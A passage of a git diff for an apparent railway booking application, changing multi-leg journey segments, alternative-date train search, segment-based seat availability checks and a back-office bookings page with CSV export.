b.returnDestinationStationId, + seatIds: seatsForLeg(3), + }); + } + if (b.returnLeg2ScheduleId && b.returnLeg2OriginStationId && b.returnLeg2DestStationId) { + legDefs.push({ + scheduleId: b.returnLeg2ScheduleId, + originStationId: b.returnLeg2OriginStationId, + destinationStationId: b.returnLeg2DestStationId, + seatIds: seatsForLeg(4), + }); + } + } + + if (legDefs.length === 0) return; const journey = await this.prisma.journey.create({ data: { passengerId: booking.passengerId, - status: "CONFIRMED", - totalMinor: booking.totalMinor, - currency: booking.currency, + bookingId: booking.id, + status: 'CONFIRMED', + totalMinor: booking.totalMinor, + currency: booking.currency, }, }); - const journeySegments = []; - for (const bookingSeat of booking.seats) { - for (let i = originSequence; i < destSequence; i++) { - journeySegments.push({ - journeyId: journey.id, - scheduleId: booking.scheduleId, - segmentOrder: i, - seatId: bookingSeat.seatId, - departureStationId: stopTimes[i].stationId, - arrivalStationId: stopTimes[i + 1].stationId, - }); + const journeySegments: any[] = []; + let segmentOrder = 0; + + for (const leg of legDefs) { + if (leg.seatIds.length === 0) continue; + + const stopTimes = await this.prisma.tripStopTime.findMany({ + where: { scheduleId: leg.scheduleId }, + orderBy: { sequence: 'asc' }, + select: { stationId: true, sequence: true }, + }); + + const originIdx = stopTimes.findIndex(st => st.stationId === leg.originStationId); + const destIdx = stopTimes.findIndex(st => st.stationId === leg.destinationStationId); + if (originIdx < 0 || destIdx < 0 || originIdx >= destIdx) continue; + + for (const seatId of leg.seatIds) { + for (let i = originIdx; i < destIdx; i++) { + journeySegments.push({ + journeyId: journey.id, + scheduleId: leg.scheduleId, + segmentOrder: segmentOrder++, + seatId, + departureStationId: stopTimes[i].stationId, + arrivalStationId: stopTimes[i + 1].stationId, + }); + } } } diff --git a/apps/edr-passenger-api/src/modules/search/search.service.ts b/apps/edr-passenger-api/src/modules/search/search.service.ts index 0ca9a8723..eb308e6e6 100644 --- a/apps/edr-passenger-api/src/modules/search/search.service.ts +++ b/apps/edr-passenger-api/src/modules/search/search.service.ts @@ -39,6 +39,23 @@ export class SearchService { const outbound = [...direct, ...transit]; + if (outbound.length === 0) { + const alternativesOutbound = await this.searchAlternatives( + dto.originStationId, + dto.destinationStationId, + dto.date, + dto.adultCount, + dto.childCount, + dto.nationality, + ); + return { + journeyType: dto.journeyType === 'ROUND_TRIP' ? 'ROUND_TRIP' : 'ONE_WAY', + outbound: [], + alternativeOutbound: alternativesOutbound, + requestedDate: dto.date, + }; + } + if (dto.journeyType === 'ROUND_TRIP') { const [returnDirect, returnTransit] = await Promise.all([ this.searchSchedules( @@ -68,12 +85,85 @@ export class SearchService { new Date(s.departureAt ?? s.leg1?.departureAt).getTime() > latestOutboundArrival ); + if (inbound.length === 0) { + const alternativeInbound = await this.searchAlternatives( + dto.destinationStationId, + dto.originStationId, + dto.returnDate ?? dto.date, + dto.adultCount, + dto.childCount, + dto.nationality, + ); + return { journeyType: 'ROUND_TRIP', outbound, inbound: [], alternativeInbound }; + } + return { journeyType: 'ROUND_TRIP', outbound, inbound }; } return { journeyType: 'ONE_WAY', outbound }; } + private async searchAlternatives( + originStationId: string, + destinationStationId: string, + dateStr: string, + adultCount: number, + childCount?: number, + nationality?: string, + ) { + const [y, m, d] = dateStr.split('-').map(Number); + const requestedDate = new Date(y, m - 1, d, 0, 0, 0, 0); + + const now = new Date(); + const daysBefore = Math.min(7, Math.floor(requestedDate.getTime() / 86_400_000)); + const daysAfter = 14 - daysBefore; + + const windowStart = new Date(requestedDate); + windowStart.setDate(windowStart.getDate() - daysBefore); + if (windowStart < now) windowStart.setTime(now.getTime()); + + const windowEnd = new Date(requestedDate); + windowEnd.setDate(windowEnd.getDate() + daysAfter + 1); // exclusive upper bound + + const totalPassengers = adultCount + (childCount ?? 0); + + const requestedNextDay = new Date(y, m - 1, d + 1, 0, 0, 0, 0); + + const schedules = await this.prisma.trainSchedule.findMany({ + where: { + status: { in: ['SCHEDULED', 'BOARDING'] }, + OR: [ + { departureAt: { gte: windowStart, lt: requestedDate } }, + { departureAt: { gte: requestedNextDay < now ? now : requestedNextDay, lt: windowEnd } }, + ], + stopTimes: { some: { stationId: originStationId } }, + }, + include: { + train: true, + originStation: true, + destinationStation: true, + stopTimes: { include: { station: true }, orderBy: { sequence: 'asc' } }, + coachAssignments: { + include: { coach: { include: { seats: true, coachType: { include: { seatClasses: true } } } } }, + }, + }, + orderBy: { departureAt: 'asc' }, + }); + + const results: any[] = []; + for (const schedule of schedules) { + const result = await this.buildScheduleResult( + schedule, + originStationId, + destinationStationId, + totalPassengers, + nationality, + ); + if (result) results.push(result); + } + return results; + } + private async searchSchedules( originStationId: string, destinationStationId: string, @@ -85,12 +175,13 @@ export class SearchService { const [y, m, d] = dateStr.split('-').map(Number); const date = new Date(y, m - 1, d, 0, 0, 0, 0); const nextDay = new Date(y, m - 1, d + 1, 0, 0, 0, 0); + const now = new Date(); const totalPassengers = adultCount + (childCount ?? 0); const schedules = await this.prisma.trainSchedule.findMany({ where: { status: { in: ['SCHEDULED', 'BOARDING'] }, - departureAt: { gte: date, lt: nextDay }, + departureAt: { gte: date < now ? now : date, lt: nextDay }, stopTimes: { some: { stationId: originStationId } }, }, include: { diff --git a/apps/edr-passenger-api/src/modules/seats/seats.service.ts b/apps/edr-passenger-api/src/modules/seats/seats.service.ts index 21060b595..0dbc1c653 100644 --- a/apps/edr-passenger-api/src/modules/seats/seats.service.ts +++ b/apps/edr-passenger-api/src/modules/seats/seats.service.ts @@ -11,7 +11,7 @@ export class SeatsService { private segmentsService: SegmentsService, ) {} - async getSeatMap(scheduleId: string, coachId?: string) { + async getSeatMap(scheduleId: string, coachId?: string, originStationId?: string, destinationStationId?: string) { const assignments = await this.prisma.coachAssignment.findMany({ where: { scheduleId, ...(coachId ? { coachId } : {}) }, include: { @@ -25,16 +25,14 @@ export class SeatsService { orderBy: { positionNumber: 'asc' }, }); - console.log(`[getSeatMap] scheduleId=${scheduleId}, coachId=${coachId}, found ${assignments.length} coach assignments`); - const allSeatIds = assignments.flatMap((a: any) => a.coach.seats.map((s: any) => s.id)); - const effectiveStatuses = await this.resolveEffectiveStatuses(scheduleId, allSeatIds); + const effectiveStatuses = await this.resolveEffectiveStatuses(scheduleId, allSeatIds, originStationId, destinationStationId); - const response = { + return { coaches: assignments.map((a) => { const allSeats = a.coach.seats; const seatClassNames = a.coach.coachType.seatClasses.map((sc: any) => sc.name); - + return { id: a.coach.id, assignmentId: a.id, @@ -68,43 +66,95 @@ export class SeatsService { }; }), }; - - console.log(`[getSeatMap] returning ${response.coaches.length} coaches with seats`); - return response; } async resolveEffectiveStatuses( scheduleId: string, seatIds: string[], + originStationId?: string, + destinationStationId?: string, ): Promise> { const statusMap = new Map(); - if (seatIds.length === 0) return statusMap; + // Resolve the requested leg's sequence range once + let reqFrom: number | undefined; + let reqTo: number | undefined; + let allStopTimes: { stationId: string; sequence: number }[] | null = null; + + const getStopTimes = async () => { + if (!allStopTimes) { + allStopTimes = await this.prisma.tripStopTime.findMany({ + where: { scheduleId }, + select: { stationId: true, sequence: true }, + }); + } + return allStopTimes; + }; + + if (originStationId && destinationStationId) { + const stops = await getStopTimes(); + const seqOf = (id: string) => stops.find(s => s.stationId === id)?.sequence; + reqFrom = seqOf(originStationId); + reqTo = seqOf(destinationStationId); + } + + // ── Active holds ────────────────────────────────────────────────────────── const activeHolds = await this.prisma.seatHold.findMany({ - where: { - scheduleId, - expiresAt: { gt: new Date() }, - seatIds: { hasSome: seatIds }, - }, - select: { seatIds: true }, + where: { scheduleId, expiresAt: { gt: new Date() }, seatIds: { hasSome: seatIds } }, + select: { seatIds: true, createdBy: true }, }); + for (const hold of activeHolds) { + let holdFrom: number | undefined; + let holdTo: number | undefined; + try { + if (hold.createdBy?.trimStart().startsWith('{')) { + const meta = JSON.parse(hold.createdBy); + const stops = await getStopTimes(); + const seqOf = (id: string) => stops.find(s => s.stationId === id)?.sequence; + holdFrom = seqOf(meta.originStationId); + holdTo = seqOf(meta.destinationStationId); + } + } catch { /* ignore */ } + for (const seatId of hold.seatIds) { - if (seatIds.includes(seatId)) statusMap.set(seatId, 'HELD'); + if (!seatIds.includes(seatId)) continue; + if (reqFrom !== undefined && reqTo !== undefined && holdFrom !== undefined && holdTo !== undefined) { + if (holdFrom < reqTo && reqFrom < holdTo) statusMap.set(seatId, 'HELD'); + } else { + statusMap.set(seatId, 'HELD'); + } } } + // ── Confirmed bookings via JourneySegment ───────────────────────────────── const bookedSegments = await this.prisma.journeySegment.findMany({ where: { scheduleId, seatId: { in: seatIds }, journey: { status: { in: ['CONFIRMED', 'PENDING_PAYMENT'] } }, }, - select: { seatId: true }, + select: { seatId: true, departureStationId: true, arrivalStationId: true }, }); - for (const seg of bookedSegments) { - if (seg.seatId) statusMap.set(seg.seatId, 'BOOKED'); + + if (reqFrom !== undefined && reqTo !== undefined) { + const stops = await getStopTimes(); + const seqOf = (id: string) => stops.find(s => s.stationId === id)?.sequence; + for (const seg of bookedSegments) { + if (!seg.seatId) continue; + const segFrom = seqOf(seg.departureStationId); + const segTo = seqOf(seg.arrivalStationId); + if (segFrom !== undefined && segTo !== undefined) { + if (segFrom < reqTo && reqFrom < segTo) statusMap.set(seg.seatId, 'BOOKED'); + } else { + statusMap.set(seg.seatId, 'BOOKED'); + } + } + } else { + for (const seg of bookedSegments) { + if (seg.seatId) statusMap.set(seg.seatId, 'BOOKED'); + } } return statusMap; @@ -154,6 +204,7 @@ export class SeatsService { if (reqFrom >= reqTo) throw new BadRequestException('Origin must come before destination'); + // ── Check existing holds for overlap ──────────────────────────────────── const activeHolds = await tx.seatHold.findMany({ where: { scheduleId: dto.scheduleId, expiresAt: { gt: new Date() } }, select: { seatIds: true, createdBy: true }, @@ -197,6 +248,29 @@ export class SeatsService { } } + // ── Check confirmed JourneySegments for overlap ────────────────────────── + const bookedSegments = await tx.journeySegment.findMany({ + where: { + scheduleId: dto.scheduleId, + seatId: { in: seatIds }, + journey: { status: { in: ['CONFIRMED', 'PENDING_PAYMENT'] } }, + }, + select: { seatId: true, departureStationId: true, arrivalStationId: true }, + }); + + for (const seg of bookedSegments) { + if (!seg.seatId) continue; + const segFrom = seqOf(seg.departureStationId); + const segTo = seqOf(seg.arrivalStationId); + if (segFrom !== undefined && segTo !== undefined) { + if (segFrom < reqTo && reqFrom < segTo) { + throw new ConflictException( + `Seat ${seatLabelById[seg.seatId]} is already booked for this leg`, + ); + } + } + } + const holdMeta = { originStationId: dto.originStationId, destinationStationId: dto.destinationStationId, @@ -347,16 +421,12 @@ export class SeatsService { return { released: true, holdId }; } - async confirmSeats(seatIds: string[]) { - // No-op - } + // Physical seat.status stays AVAILABLE — segment rows are the source of truth for occupancy. + async confirmSeats(_seatIds: string[]) {} - async releaseSeats(seatIds: string[]) { - if (seatIds.length > 0) { - await this.prisma.journeySegment.deleteMany({ - where: { seatId: { in: seatIds } }, - }); - } + // Delete the Journey (and its JourneySegments) scoped to this booking. + async releaseSeats(bookingId: string) { + await this.prisma.journey.deleteMany({ where: { bookingId } }); } async autoAssignSeats(scheduleId: string, count: number, seatClassName: string): Promise { @@ -424,7 +494,7 @@ export class SeatsService { invalid++; continue; } - const [coachId, coachLabel, row, col, seatNumber, kind, status, premiumFeeMinor] = parts; + const [coachId, , row, col, seatNumber] = parts; if (!coachId || !row || !col || !seatNumber) { errors.push(`Line ${i + 2}: Missing required fields`); invalid++; @@ -448,7 +518,7 @@ export class SeatsService { for (let i = 0; i < lines.length; i++) { try { const parts = lines[i].split(','); - const [coachId, coachLabel, row, col, seatNumber, kind, status, premiumFeeMinor] = parts; + const [coachId, , row, col, seatNumber, kind, status, premiumFeeMinor] = parts; await this.prisma.seat.upsert({ where: { coachId_row_col: { coachId, row: parseInt(row), col } }, @@ -481,18 +551,8 @@ export class SeatsService { const seat = await this.prisma.seat.findUnique({ where: { id: seatId } }); if (!seat) throw new NotFoundException('Seat not found'); - await this.prisma.seat.update({ - where: { id: seatId }, - data: { status: 'BLOCKED' }, - }); - - await this.prisma.seatBlock.create({ - data: { - seatId, - reason, - blockedBy: 'system', - }, - }); + await this.prisma.seat.update({ where: { id: seatId }, data: { status: 'BLOCKED' } }); + await this.prisma.seatBlock.create({ data: { seatId, reason, blockedBy: 'system' } }); return { blocked: true, seatId, reason }; } @@ -501,14 +561,8 @@ export class SeatsService { const seat = await this.prisma.seat.findUnique({ where: { id: seatId } }); if (!seat) throw new NotFoundException('Seat not found'); - await this.prisma.seat.update({ - where: { id: seatId }, - data: { status: 'AVAILABLE' }, - }); - - await this.prisma.seatBlock.deleteMany({ - where: { seatId }, - }); + await this.prisma.seat.update({ where: { id: seatId }, data: { status: 'AVAILABLE' } }); + await this.prisma.seatBlock.deleteMany({ where: { seatId } }); return { unblocked: true, seatId }; } @@ -518,11 +572,9 @@ export class SeatsService { if (!seat) throw new NotFoundException('Seat not found'); if (!seat.seatNumber) throw new BadRequestException('Seat already removed'); - // Mark removed seat with negative seatNumber (e.g., '1' → '-1') to show empty space - const negatedNumber = `-${seat.seatNumber}`; await this.prisma.seat.update({ where: { id: seatId }, - data: { seatNumber: negatedNumber }, + data: { seatNumber: `-${seat.seatNumber}` }, }); return { removed: true, seatId, originalSeatNumber: seat.seatNumber }; @@ -535,26 +587,15 @@ export class SeatsService { throw new BadRequestException('Seat is not removed'); } - // Restore original seatNumber by removing the negative sign const originalNumber = seat.seatNumber.slice(1); - await this.prisma.seat.update({ - where: { id: seatId }, - data: { seatNumber: originalNumber }, - }); + await this.prisma.seat.update({ where: { id: seatId }, data: { seatNumber: originalNumber } }); return { restored: true, seatId, seatNumber: originalNumber }; } @Cron(CronExpression.EVERY_MINUTE) async expireHolds() { - const now = new Date(); - const expired = await this.prisma.seatHold.findMany({ where: { expiresAt: { lt: now } } }); - if (expired.length === 0) return; - - const expiredIds = expired.map(h => h.id); - for (const hold of expired) { - await this.releaseSeats(hold.seatIds); - } - await this.prisma.seatHold.deleteMany({ where: { id: { in: expiredIds } } }); + // Holds are temporary and don't create Journey rows — just delete expired ones. + await this.prisma.seatHold.deleteMany({ where: { expiresAt: { lt: new Date() } } }); } } diff --git a/apps/edr-passenger-api/src/modules/stations/stations.dto.ts b/apps/edr-passenger-api/src/modules/stations/stations.dto.ts index fc350dbcf..57e78caf6 100644 --- a/apps/edr-passenger-api/src/modules/stations/stations.dto.ts +++ b/apps/edr-passenger-api/src/modules/stations/stations.dto.ts @@ -7,8 +7,8 @@ export class CreateStationDto { @ApiProperty({ example: 'Addis Ababa' }) @IsString() city: string; @ApiPropertyOptional() @IsOptional() @IsString() timezone?: string; @ApiPropertyOptional() @IsOptional() @IsString() countryCode?: string; - @ApiProperty({ example: 9.0054 }) @IsNumber() lat: number; - @ApiProperty({ example: 38.7636 }) @IsNumber() lng: number; + @ApiPropertyOptional({ example: 9.0054 }) @IsOptional() @IsNumber() lat?: number; + @ApiPropertyOptional({ example: 38.7636 }) @IsOptional() @IsNumber() lng?: number; @ApiPropertyOptional({ example: 1 }) @IsOptional() @IsInt() sequence?: number; @ApiPropertyOptional({ example: true }) @IsOptional() @IsBoolean() isOperational?: boolean; } diff --git a/apps/edr-passenger-api/src/modules/stations/stations.service.ts b/apps/edr-passenger-api/src/modules/stations/stations.service.ts index 5dd1aa77d..bc1faa1bc 100644 --- a/apps/edr-passenger-api/src/modules/stations/stations.service.ts +++ b/apps/edr-passenger-api/src/modules/stations/stations.service.ts @@ -50,7 +50,10 @@ export class StationsService { } async create(dto: CreateStationDto) { - const station = await this.prisma.station.create({ data: dto }); + const { lat, lng, ...rest } = dto; + const station = await this.prisma.station.create({ + data: { ...rest, ...(lat !== undefined && { lat }), ...(lng !== undefined && { lng }) } as any, + }); await this.auditService.log({ userId: this.request?.user?.id, diff --git a/apps/edr-passenger-api/src/modules/tickets/tickets.service.ts b/apps/edr-passenger-api/src/modules/tickets/tickets.service.ts index 2c57a59e3..ce940b07a 100644 --- a/apps/edr-passenger-api/src/modules/tickets/tickets.service.ts +++ b/apps/edr-passenger-api/src/modules/tickets/tickets.service.ts @@ -44,6 +44,7 @@ export class TicketsService { booking: { include: { schedule: { include: { originStation: true, destinationStation: true, train: true } }, + returnSchedule: { select: { departureAt: true, arrivalAt: true, originStation: true, destinationStation: true } }, seats: { include: { seat: { include: { coach: { include: { coachType: true } } } } } }, passenger: { include: { user: true } }, }, @@ -72,6 +73,8 @@ export class TicketsService { displayTotalMinor: t.booking.displayTotalMinor, passenger: t.booking.passenger?.user || { fullName: 'Guest', email: t.booking.contactEmail }, contactEmail: t.booking.contactEmail, + contactPhone: t.booking.contactPhone, + returnSchedule: (t.booking as any).returnSchedule ?? null, }, schedule: t.booking.schedule, seat: t.booking.seats[0]?.seat, @@ -105,7 +108,7 @@ export class TicketsService { legs: legSummary, }); const qrPayload = await QRCode.toDataURL(qrData); - const barcodePayload = `EDR${booking.bookingRef}${booking.id.substring(0, 8).toUpperCase()}`; + const barcodePayload = `${booking.bookingRef}${booking.id.substring(0, 8).toUpperCase()}`; const ticket = await this.prisma.ticket.upsert({ where: { bookingId }, diff --git a/apps/edr-passenger-web/backoffice/src/app/bookings/page.tsx b/apps/edr-passenger-web/backoffice/src/app/bookings/page.tsx index 7b43fb677..e420c4e07 100644 --- a/apps/edr-passenger-web/backoffice/src/app/bookings/page.tsx +++ b/apps/edr-passenger-web/backoffice/src/app/bookings/page.tsx @@ -2,7 +2,7 @@ import { useState } from 'react'; import { useQuery, useMutation, useQueryClient } from '@tanstack/react-query'; -import { Filter, Download, Eye, XCircle, Trash2 } from 'lucide-react'; +import { Download, Eye, XCircle, Trash2 } from 'lucide-react'; import DataTable from '@/components/ui/DataTable'; import Badge from '@/components/ui/Badge'; import Pagination from '@/components/ui/Pagination'; @@ -13,13 +13,21 @@ import { bookingsApi, apiClient } from '@/lib/api'; import { formatCurrency, formatDateTime } from '@/lib/utils'; import { BookingFilters } from '@/types'; +const Field = ({ label, value, mono = false, truncate = false }: { label: string; value: string; mono?: boolean; truncate?: boolean }) => ( +
+

{label}

+

{value || '—'}

+
+); + +const SectionHeader = ({ title }: { title: string }) => ( +

+ {title} +

+); + export default function BookingsPage() { - const [filters, setFilters] = useState({ - page: 1, - pageSize: 20, - search: '', - status: '', - }); + const [filters, setFilters] = useState({ page: 1, pageSize: 20, search: '', status: '' }); const [selectedBooking, setSelectedBooking] = useState(null); const [deleteConfirmOpen, setDeleteConfirmOpen] = useState(false); const [bookingToDelete, setBookingToDelete] = useState(null); @@ -28,14 +36,8 @@ export default function BookingsPage() { const [exportDateFrom, setExportDateFrom] = useState(''); const [exportDateTo, setExportDateTo] = useState(''); const [exportColumns, setExportColumns] = useState>({ - bookingRef: true, - passenger: true, - status: true, - bookingType: false, - passengerCount: false, - totalMinor: true, - paymentStatus: true, - createdAt: true, + bookingRef: true, bookingType: false, passengerNames: true, contactPhone: true, + contactEmail: true, passengerCount: false, paymentStatus: true, totalMinor: true, status: true, createdAt: true, }); const queryClient = useQueryClient(); @@ -45,10 +47,6 @@ export default function BookingsPage() { queryFn: () => bookingsApi.getAll(filters), }); - if (error) { - console.error('Bookings API Error:', error); - } - const cancelMutation = useMutation({ mutationFn: ({ id, reason }: { id: string; reason?: string }) => bookingsApi.cancel(id, reason), onSuccess: () => { @@ -56,9 +54,7 @@ export default function BookingsPage() { setSuccessMessage('Booking cancelled successfully'); setTimeout(() => setSuccessMessage(''), 3000); }, - onError: (error: any) => { - alert(`Error: ${error.message || 'Failed to cancel booking'}`); - }, + onError: (error: any) => alert(`Error: ${error.message || 'Failed to cancel booking'}`), }); const deleteMutation = useMutation({ @@ -77,26 +73,22 @@ export default function BookingsPage() { }); const handleCancel = async (booking: any) => { - if (window.confirm(`Are you sure you want to cancel booking ${booking.bookingRef}? This will process a refund.`)) { + if (window.confirm(`Cancel booking ${booking.bookingRef}? This will process a refund.`)) { await cancelMutation.mutateAsync({ id: booking.id, reason: 'Cancelled by admin' }); } }; - const handleDeleteClick = (booking: any) => { - setBookingToDelete(booking); - setDeleteConfirmOpen(true); - }; - - const handleConfirmDelete = async () => { - if (bookingToDelete) { - await deleteMutation.mutateAsync(bookingToDelete.id); - } - }; + const BOOKING_COLS = [ + { key: 'bookingRef', label: 'Booking Reference' }, { key: 'journeyType', label: 'Journey Type' }, + { key: 'passengerNames', label: 'Passenger Names' }, { key: 'contactPhone', label: 'Contact Phone' }, + { key: 'contactEmail', label: 'Contact Email' }, { key: 'passengerCount', label: 'Passenger Count' }, + { key: 'paymentStatus', label: 'Payment Status' }, { key: 'totalMinor', label: 'Amount' }, + { key: 'status', label: 'Status' }, { key: 'createdAt', label: 'Created At' }, + ]; const confirmExport = () => { const cols = Object.entries(exportColumns).filter(([, v]) => v).map(([k]) => k); - if (cols.length === 0) { alert('Please select at least one column'); return; } - + if (!cols.length) { alert('Please select at least one column'); return; } const exportItems = (data?.items || []).filter((b: any) => { if (!exportDateFrom && !exportDateTo) return true; const d = b.createdAt ? new Date(b.createdAt).toISOString().split('T')[0] : null; @@ -104,27 +96,27 @@ export default function BookingsPage() { if (exportDateTo && (!d || d > exportDateTo)) return false; return true; }); - const csv = [ - cols.join(','), + BOOKING_COLS.map(c => `"${c.label}"`).join(','), ...exportItems.map((booking: any) => { - const values = cols.map(col => { - switch (col) { + const values = BOOKING_COLS.filter(c => cols.includes(c.key)).map(({ key }) => { + switch (key) { case 'bookingRef': return booking.bookingRef; - case 'passenger': return booking.passenger?.fullName || booking.contactEmail || 'Guest'; - case 'status': return booking.status; - case 'bookingType': return booking.bookingType || 'N/A'; - case 'passengerCount': return booking.adultCount + booking.childCount; - case 'totalMinor': return booking.totalMinor; + case 'journeyType': return booking.bookingType || 'N/A'; + case 'passengerNames': return booking.passengerNames?.join(', ') || 'N/A'; + case 'contactPhone': return booking.contactPhone || 'N/A'; + case 'contactEmail': return booking.contactEmail || 'N/A'; + case 'passengerCount': return (booking.adultCount ?? 0) + (booking.childCount ?? 0); case 'paymentStatus': return booking.paymentIntent?.status || 'PENDING'; - case 'createdAt': return booking.createdAt; + case 'totalMinor': return formatCurrency(booking.totalMinor, booking.currency); + case 'status': return booking.status; + case 'createdAt': return booking.createdAt ? formatDateTime(booking.createdAt) : ''; default: return ''; } }); return values.map(v => `"${v}"`).join(','); }), ].join('\n'); - const blob = new Blob([csv], { type: 'text/csv' }); const url = window.URL.createObjectURL(blob); const a = document.createElement('a'); @@ -136,91 +128,61 @@ export default function BookingsPage() { const columns = [ { - key: 'bookingRef', - label: 'Reference', - sortable: true, - render: (booking: any) => ( - {booking.bookingRef} - ), - }, - { - key: 'passenger', - label: 'Passenger', + key: 'bookingRef', label: 'Reference', sortable: true, render: (booking: any) => (
-
{booking.passenger?.fullName || booking.contactEmail || 'Guest'}
-
{booking.contactPhone || booking.passenger?.phone}
+
{booking.bookingRef}
+
{booking.bookingType || 'ONE_WAY'}
), }, { - key: 'bookingType', - label: 'Type', - sortable: true, - render: (booking: any) => booking.bookingType || 'ONE_WAY', - }, - { - key: 'passengerCount', - label: 'Passengers', + key: 'passengerNames', label: 'Names', render: (booking: any) => { - const adults = booking.adultCount || 0; - const children = booking.childCount || 0; - if (adults === 0 && children === 0) return '—'; - const parts = [`Adult: ${adults}`]; - if (children > 0) parts.push(`Child: ${children}`); - return parts.join(' / '); + const names: string[] = booking.passengerNames || []; + if (!names.length) return ; + return
{names.map((n, i) => {n})}
; }, }, { - key: 'status', - label: 'Status', + key: 'contact', label: 'Contact', render: (booking: any) => ( - {booking.status} +
+
{booking.contactPhone || booking.passenger?.phone}
+
{booking.contactEmail || booking.passenger?.email}
+
), }, { - key: 'totalMinor', - label: 'Amount', - sortable: true, - render: (booking: any) => formatCurrency(booking.totalMinor, booking.currency), + key: 'passengerCount', label: 'Passengers', + render: (booking: any) => { + const adults = booking.adultCount || 0, children = booking.childCount || 0; + if (!adults && !children) return '—'; + return <>
Adult: {adults}
Child: {children}
; + }, }, { - key: 'paymentStatus', - label: 'Payment', + key: 'paymentStatus', label: 'Payment', render: (booking: any) => ( - - {booking.paymentIntent?.status || 'PENDING'} - +
+ {booking.paymentIntent?.status || 'PENDING'} +
{formatCurrency(booking.totalMinor, booking.currency)}
+
), }, { - key: 'createdAt', - label: 'Created', - sortable: true, - render: (booking: any) => formatDateTime(booking.createdAt), + key: 'status', label: 'Status', + render: (booking: any) => {booking.status}, }, ]; const actions = [ + { label: 'View Details', onClick: (b: any) => setSelectedBooking(b), variant: 'secondary' as const, icon: Eye }, { - label: 'View Details', - onClick: (booking: any) => setSelectedBooking(booking), - variant: 'secondary' as const, - icon: Eye, - }, - { - label: 'Cancel Booking', - onClick: handleCancel, - variant: 'danger' as const, - icon: XCircle, - show: (booking: any) => booking.status !== 'CANCELLED' && booking.status !== 'COMPLETED', - }, - { - label: 'Delete', - onClick: handleDeleteClick, - variant: 'danger' as const, - icon: Trash2, + label: 'Cancel Booking', onClick: handleCancel, variant: 'danger' as const, icon: XCircle, + show: (b: any) => b.status !== 'CANCELLED' && b.status !== 'BOARDED', }, + { label: 'Delete', onClick: (b: any) => { setBookingToDelete(b); setDeleteConfirmOpen(true); }, variant: 'danger' as const, icon: Trash2 }, ]; return ( @@ -235,9 +197,7 @@ export default function BookingsPage() {
{successMessage && ( -
- ✓ {successMessage} -
+
✓ {successMessage}
)} {error && (
@@ -246,222 +206,195 @@ export default function BookingsPage() { )}
- setFilters({ ...filters, search: e.target.value, page: 1 })} - /> + setFilters({ ...filters, search: e.target.value, page: 1 })} />
- setFilters({ ...filters, status: e.target.value || undefined, page: 1 })}> - + - More Filters
- - - + {data?.meta && ( - setFilters({ ...filters, page })} - /> + setFilters({ ...filters, page })} /> )}
{/* Booking Details Modal */} setSelectedBooking(null)} title="Booking Details" size="xl"> - {selectedBooking && ( -
-
-
- -

{selectedBooking.bookingRef}

-
-
- -
- {selectedBooking.status} -
-
-
- -

{selectedBooking.bookingType || 'N/A'}

-
-
- -

{formatDateTime(selectedBooking.createdAt)}

-
-
- -
- + {selectedBooking && (() => { + const b = selectedBooking; + const isRoundTrip = b.bookingType === 'ROUND_TRIP' || b.bookingType === 'ROUND_TRIP_TRANSIT'; + return (
-

Passenger Information

-
-
- -

{selectedBooking.passenger?.fullName || selectedBooking.contactEmail || 'N/A'}

-
-
- -

{selectedBooking.contactEmail || selectedBooking.passenger?.email || 'N/A'}

-
-
- -

{selectedBooking.contactPhone || selectedBooking.passenger?.phone || 'N/A'}

-
-
- -

{selectedBooking.passengerId || 'N/A'}

-
-
-
- -
- -
-

Journey Details

-
-
- -

{selectedBooking.adultCount || 0}

-
-
- -

{selectedBooking.childCount || 0}

-
-
- -

{selectedBooking.scheduleId || 'N/A'}

-
-
- -

{selectedBooking.promoCode || 'None'}

-
-
-
- -
- -
-

Payment Information

-
-
- -

{formatCurrency(selectedBooking.totalMinor, selectedBooking.currency)}

-
-
- -
- - {selectedBooking.paymentIntent?.status || 'PENDING'} - + {/* Gradient header */} +
+
+
+

Booking Reference

+

{b.bookingRef}

+
+
+ {b.status} +

{formatDateTime(b.createdAt)}

-
- -

{selectedBooking.paidAt ? formatDateTime(selectedBooking.paidAt) : 'Not paid'}

-
-
- -

{selectedBooking.displayCurrency || selectedBooking.currency}

+
+ {[ + (b.bookingType || 'ONE_WAY').replace(/_/g, ' '), + `${b.adultCount ?? 0} Adult${(b.adultCount ?? 0) !== 1 ? 's' : ''}${(b.childCount ?? 0) > 0 ? ` · ${b.childCount} Child${b.childCount !== 1 ? 'ren' : ''}` : ''}`, + b.displayCurrency || b.currency || 'ETB', + ].map((tag) => ( + + {tag} + + ))}
-
-
+
+ {/* Passenger */} +
+ +
+ + + + +
+
-
-

Additional Information

-
-
- -

{selectedBooking.source || 'N/A'}

-
-
- -

{formatDateTime(selectedBooking.updatedAt)}

-
+ {/* Journey */} +
+ +
+ + + + + + + + +
+
+ + {/* Return leg */} + {isRoundTrip && ( +
+ +
+ + + + +
+
+ )} + + {/* Payment */} +
+ +
+
+

Total Amount

+

{formatCurrency(b.totalMinor, b.currency || 'ETB')}

+ {b.displayCurrency && b.displayCurrency !== (b.currency || 'ETB') && ( +

+ ≈ {formatCurrency(b.displayTotalMinor ?? b.totalMinor, b.displayCurrency)} +

+ )} +
+
+

Payment Status

+ {b.paymentIntent?.status || 'PENDING'} +
+ + + + +
+
+ + {/* Seats */} + {b.seats && b.seats.length > 0 && ( +
+ +
+ {b.seats.map((bs: any, i: number) => ( +
+
+ {i + 1} +
+

{bs.passengerName || '—'}

+

+ {bs.passengerCategory || '—'}{bs.leg ? ` · Leg ${bs.leg}` : ''}{bs.idDocumentType ? ` · ${bs.idDocumentType}` : ''} + {bs.verifaydaVerified ? ' · ✓ Verified' : ''} +

+
+
+
+

{bs.seat?.seatNumber || bs.seatId || '—'}

+

{formatCurrency(bs.fareMinor ?? 0, b.currency || 'ETB')}

+
+
+ ))} +
+
+ )} + + {/* Timestamps */} +
+ +
+ + + +
+
+
+ +
+ setSelectedBooking(null)}>Close
- -
- setSelectedBooking(null)}>Close -
-
